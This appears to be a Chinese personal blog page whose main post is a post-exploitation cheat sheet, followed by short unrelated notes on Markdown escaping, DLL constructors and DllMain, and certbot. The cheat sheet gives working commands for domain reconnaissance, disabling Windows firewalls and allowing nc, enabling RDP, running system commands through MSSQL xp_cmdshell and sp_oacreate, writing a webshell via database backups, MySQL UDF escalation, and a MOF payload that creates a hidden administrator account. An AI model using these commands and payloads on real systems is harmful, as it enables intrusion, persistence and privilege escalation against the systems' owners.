春风不语
该说些什么呢?还是什么都不说吧
该说些什么呢?还是什么都不说吧
域信息
很多命令和工具都是重复造轮子,记住几个常用,用的顺手的即可。
#用ipconfig /all查看当前主机的域信息(systeminfo也能显示域和DC信息,如果域为WORKGROUP,则不在域中)
#"Primary Dns Suffix"或"DNS Suffix Search List"(主DNS后缀,DNS后缀搜索列表)会显示域信息
#直接查询域
net view /domain
#查看DC信息
nltest /dclist:<域的名称>
#查看DC的详细信息
nltest /server:<DC主机名> /serverinfo
#查看当前登陆的域信息(查看如当前登陆用户是本地用户还是域用户)
net config workstation
#判断主域(存在域林的时候)(通常主域服务器也作为时间服务器)
#主域是一个逻辑概念,代表了域林中具有特殊角色和权限的域。它可以由多台域控制器组成,这些域控制器可以在不同的服务器上部署,以实现高可用性和负载均衡。
net time /domain
#查询域内所有计算机
net view /doamin:<域的名称>
#查询域内所有组
net group /domain
#查询组内所有计算机
net group "<组名>" /domain
#获取用户的详细信息
wmic useraccount get /all
#查询域密码策略
net accounts /domain
#dsquery
dsquery computer - 查找目录中的计算机。
dsquery contact - 查找目录中的联系人。
dsquery subnet - 查找目录中的子网。
dsquery group - 查找目录中的组。
dsquery ou - 查找目录中的组织单位。
dsquery site - 查找目录中的站点。
dsquery server - 查找目录中的 AD DC/LDS 实例。
dsquery user - 查找目录中的用户。
dsquery quota - 查找目录中的配额规定。
dsquery partition - 查找目录中的分区。
dsquery * - 用通用的 LDAP 查询来查找目录中的任何对象。
#快速探测内网主机
for /L %I in (1,1,255) do @ping -w 1 -n 1 192.168.0.%I | findstr "TTL="
#查询域内某台主机的ip
nslookup <域内机器名称>
#查询与本机有关的共享文件夹
net share
#wmic也能查看共享文件夹
wmic share get name,path,status
#查询当前用户SID
whoami /all
#查询指定用户的详细信息
net user XXX /domain
#查看计划任务
schtasks /query /fo LIST /v
#获取本地管理员(通常包含域用户)信息
net localgroup administrators
#查看当前在线用户
query user || qwinsta
#除了systeminfo,还能用WMI查看安装在系统中的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
防火墙
#***关闭防火墙***
#windows server 2003之前
netsh firewall set opmode disable
#windows server 2003之后
netsh advfirewall set allprofiles state off
#查看防火墙配置
netsh firewall show config
#windows server 2003之前 允许指定程序全部连接
netsh firewall add allowedprogram <path/to/program> "allow nc" enable
#windows server 2003之后 允许指定程序入网
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="<path/to/program>"
#允许指定程序出网
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="<path/to/program>"
#自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "<path/to/file.log>"
查看代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
#注册表可以用HKCU代替HKEY_CURRENT_USER;HKLM代替HKEY_LOCAL_MACHINE
#HKEY_CLASSES_ROOT (HKCR):包含文件关联、COM组件和注册表映射等信息。
#HKEY_CURRENT_USER (HKCU):包含当前用户的配置信息。
#HKEY_LOCAL_MACHINE (HKLM):包含计算机的全局配置信息。
#HKEY_USERS (HKU):包含所有用户配置信息的顶级节点。
#HKEY_CURRENT_CONFIG (HKCC):包含当前系统配置信息。
Windows RDP
#允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#开启RDP
#windows 2003
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
#暂时不知(__CLASS !="")这个过滤是否多于
#windows 2003之后
wmic /namespace:\\root\cimv2\terminalservices path Win32_TerminalServiceSetting where (__CLASS !="") call Set AllowTSConnections=1
#还有一种where (TerminalName='RDP-Tcp')的过滤,更加精确,但是似乎只在winserver2012起作用
可以直接通过cmd执行命令,限制少。但是xp_cmdshell是扩展存储过程(Extended Stored Procedure),需要dll支持,默认情况不开启。
#查看xp_cmdshell是否开启,返回1开启,0关闭
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
#若关闭,重新开启(需要xplog70.dll)
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
#两种方式执行
exec xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'whoami'
与xp_cmdshell区别是sp_xxx为标准的存储过程,sqlserver自带。但是限制多,sp_oacreate等通过COM(Component Object Model)对象实现,不能达到cmd那样执行的权限。
#查看sp_oacreate是否可用,0为可用,1为不可用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
#如果不可用,可尝试开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
#此方法无回显,但可以写到文件中查看
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'
见《SQL注入攻击与防御》提权章节
差异备份(Differential Backup)会备份自上次完整备份以来发生的更改部分,而不是仅仅与之前备份不相同的内容。它会将自上次完整备份以来的所有更改都保存到差异备份文件中,而不会重复保存相同的内容。
条件:
1.用户权限足够大(DBA or SA)
2.目标目录可写
3.知道网站绝对路径
#第一步
create DATABASE Testdb;
#第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
#3c3f70687020706870696e666f28293b3f3e为ASCII对应16进制的<?php phpinfo();?>
#第三步 DIFFERENTIAL对应差异备份
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;
日志备份重复性好、多次备份的成功率高,相对于差异备份而言,shell的体积较小。因此一般采用日志备份。LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的。
其利用条件如下:
1.用户权限足够大(DBA)
2.数据库已完整备份过一次
3.目标目录可写
4.知道网站绝对路径
create database Testdb --新建数据库Testdb
alter database Testdb set RECOVERY FULL; --修改数据库恢复模式为 完整模式
create table cmd (a image); --创建一张表cmd,只有一个列 a,类型为image
backup log Testdb to disk= 'C:\\1.php' with init; --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e); --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php'; --把操作日志备份到指定文件
手工可看https://xz.aliyun.com/t/10373,非常详尽
UDF和存储过程比较像,区别在于
1.返回结果:UDF必须返回一个值,可以是标量值(如整数、字符串等)或表值(返回一张结果集)。存储过程可以执行一系列操作,但它不需要返回结果。
2.使用方式:UDF通常在查询中使用,可以像内置函数一样调用。存储过程通常通过执行存储过程的语句来调用,可以包含输入和输出参数。
使用条件:
1.mysql有写入文件的权限,即secure_file_priv的值为空
2.有udf.dll且在指定路径下
1.系统版本为:Server 2003、Windows XP、Windows 7及以下版本
2.mysql的root用户密码
3.UDF存放目录:
mysql<5.2,存在于系统目录c:/windows/system32/;
mysql>5.2,存在于安装目录MySQL\Lib\Plugin\
#如果没有,sqlmap和msf也带了dll
##sqlmap:
###/opt/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
###/opt/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
##解码脚本:
###/opt/sqlmap/extra/cloak/cloak.py
##msf:
###/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.dll
用法:
# 创建一个 MySQL 函数,将其与 udf.dll 中的函数关联起来
CREATE FUNCTION <udf_func_name> RETURNS STRING SONAME 'udf.dll';
# 之后就可以使用:
SELECT <udf_func_name>('command');
网上有很多利用工具
https://github.com/T3st0r-Git/HackMySQL
MOF(Managed Object Format)文件是一种文本文件,用于定义和描述管理对象的结构和行为。WMI(Windows Management Instrumentation)是Windows操作系统中的一项管理技术,它使用 MOF 文件来描述和管理系统资源、配置和性能。在 Windows 系统中,WMI 服务会周期性地检测并加载系统中的 MOF 文件。这些 MOF 文件中定义了管理对象的属性、方法和关联关系。一旦 MOF 文件被加载,其中的定义将被解析并注册到 WMI 服务中,使得相关的管理对象可以被访问和操作。
攻击者利用已获取的高权限(如 MySQL 的 root 权限)来上传恶意的 MOF 文件到系统中。攻击者通常会将 MOF 文件存放在系统的特定目录(如C:/Windows/System32/wbem/mof)下。然后,攻击者会使用合法的权限注册该 MOF 文件,使其能够被 WMI 服务加载。
所以 很显而易见,只能在Windows上用,而且一般低版本系统才可以用,比如xp、server2003
以下是一个mof文件例子
#test.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
#payload:
select load_file("path/to/test.mof") into dumpfile "path/to/store/mofFile"
msf中自带UDF和MOF提权模块
失败没什么大不了的,还记得那句话吗?
我觉得自己会永远生猛下去,什么也锤不了我。
振作起来!
淮阴市井笑韩信,汉朝公卿忌贾生。
以前这里只是个小小的没有名字的广场,但我一直记得这。
看了一遍二百者也,其实有个很简单的道理,这种话这种词,只有在心里默念过无数遍,才会聊天脱口而出。
俱往矣…
I found something interesting.
-,前面加\之后,-会被转义,\不会显示出来;而有些字符,如<>前面加\,虽然也能将<>转义,但是\也会被显示出来?
这是因为 Markdown 中的转义规则不同。Markdown 使用反斜杠(\)作为转义字符,用于将特殊字符标记为普通字符。
对于一些特殊字符,如 \, *, _, [, ], (, ), {, }, #, +, -, ., ! 等,它们在 Markdown 中具有特殊的语法含义。如果您想要将它们显示为普通字符而不是特殊符号,可以在它们前面加上反斜杠进行转义。
例如,\- 表示输出一个连字符而不是列表项,\* 表示输出一个星号而不是斜体标记。这些转义符号将被解析为其后的字符,并将其显示为普通文本。
然而,对于一些字符,如 <, >,由于安全性考虑,在 Markdown 中的转义规则更严格。即使您在其前面加上反斜杠进行转义,它们仍然会被解析为 HTML 标签或特殊字符。这是为了防止潜在的 HTML 注入攻击。
所以,当您在 Markdown 中使用 \ 转义 < 或 > 字符时,您会注意到 \ 也被显示出来,以提醒读者这是一个转义字符,而不是真实的 < 或 >。
总之,Markdown 的转义规则是为了在语法简洁性和安全性之间取得平衡,以提供一种方便的方式来表示特殊字符,并避免潜在的安全风险。
- GPT3.5-Turbo
void __attribute__((constructor)) my_constructor()
{
printf("加载\n");
}
void __attribute__((destructor)) my_destructor()
{
printf("卸载\n");
}
constructor会在dll被加载的时候执行,但是要注意一点:
void* dlopen(const char* filename, int flags);
//flags: RTLD_NOW, RTLD_LAZY
RTLD_NOW的时候constructor立即被执行,RTLD_LAZY当so中函数被调用的时候才会执行constructor。
__attribute__((destructor))在使用 dlclose() 显式关闭共享库句柄时会在共享库被卸载之前调用,在程序结束时,无论是否显式调用了 dlclose(),共享库句柄会被自动关闭,__attribute__((destructor)) 声明的函数也会在共享库被卸载之前被调用。
这就意味着destructor可能被执行两次
void* handle = dlopen("./libexample.so", RTLD_LAZY);
dlclose(handle);
此时若只希望执行一次,可以考虑:
bool is_destructor_called = false;
void __attribute__((destructor)) my_destructor()
{
if (!is_destructor_called) {
// 执行析构操作
is_destructor_called = true;
}
}
[WARNING]不要显式调用__attribute__((constructor))/__attribute__((destructor))!
DllMain是DLL的入口点函数,当DLL被加载、卸载、线程附加或线程分离时,系统会自动调用DllMain函数。
hModule:表示当前被加载的DLL模块的句柄。
ul_reason_for_call:标识了调用DllMain的原因,它可能取以下值:
DLL_PROCESS_ATTACH:表示DLL被加载到进程时调用。
DLL_PROCESS_DETACH:表示DLL从进程中卸载时调用。
DLL_THREAD_ATTACH:表示DLL被线程附加时调用。
DLL_THREAD_DETACH:表示DLL从线程中分离时调用。
lpReserved:保留参数,一般情况下不使用,应设置为NULL。
一般进入DllMain可以首先switch:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
// 此处处理动态链接库被进程加载的事件
// 可以在这里进行一些初始化操作
break;
case DLL_PROCESS_DETACH:
// 此处处理动态链接库被进程卸载的事件
// 可以在这里进行一些清理操作
break;
case DLL_THREAD_ATTACH:
// 此处处理动态链接库被线程加载的事件
break;
case DLL_THREAD_DETACH:
// 此处处理动态链接库被线程卸载的事件
break;
}
return TRUE;
}
根据编译器的不同,没有经过__declspec(dllexport)声明的函数可能不会导出到dll的导出表。
此点可为debug用。
如果修改,可能导致死锁。
// 声明函数指针类型
typedef void (*FuncPtr)();
int main()
{
// 加载 DLL
HINSTANCE hDll = LoadLibrary("mydll.dll");
if (hDll == NULL)
{
// 处理加载 DLL 失败的情况
return 1;
}
// 获取函数指针
FuncPtr pFunc2 = (FuncPtr)GetProcAddress(hDll, "func2");
if (pFunc2 == NULL)
{
// 处理获取函数指针失败的情况
// 释放 DLL
FreeLibrary(hDll);
return 1;
}
// 调用 func2 函数
pFunc2();
// 释放 DLL
FreeLibrary(hDll);
return 0;
}
当一个线程调用 LoadLibrary 加载被注入DLL时,操作系统会自动调用被注入DLL中的 DllMain 函数,并传递 DLL_PROCESS_ATTACH 参数。在 DllMain 函数中,可能会进行一些初始化操作或创建线程等。此时,如果同时有另一个线程尝试修改或替换被注入DLL,也会触发 LoadLibrary 调用,并导致另一个 DllMain 函数的调用。
由于 DllMain 函数没有进行适当的同步处理,多个线程同时调用 DllMain 函数时,可能会发生死锁。
总是忘了怎么操作,let's encrypt网站上的教程是有问题的(对我而言)。
sudo apt install certbot
sudo certbot certonly --manual --preferred-challenges dns -d <site-domain> -d "*.<site-domain>"
即可,不要用snap的certbot,总会报奇奇怪怪的错误。
如果已经用snap安装了certbot,记得先卸载:
sudo snap remove certbot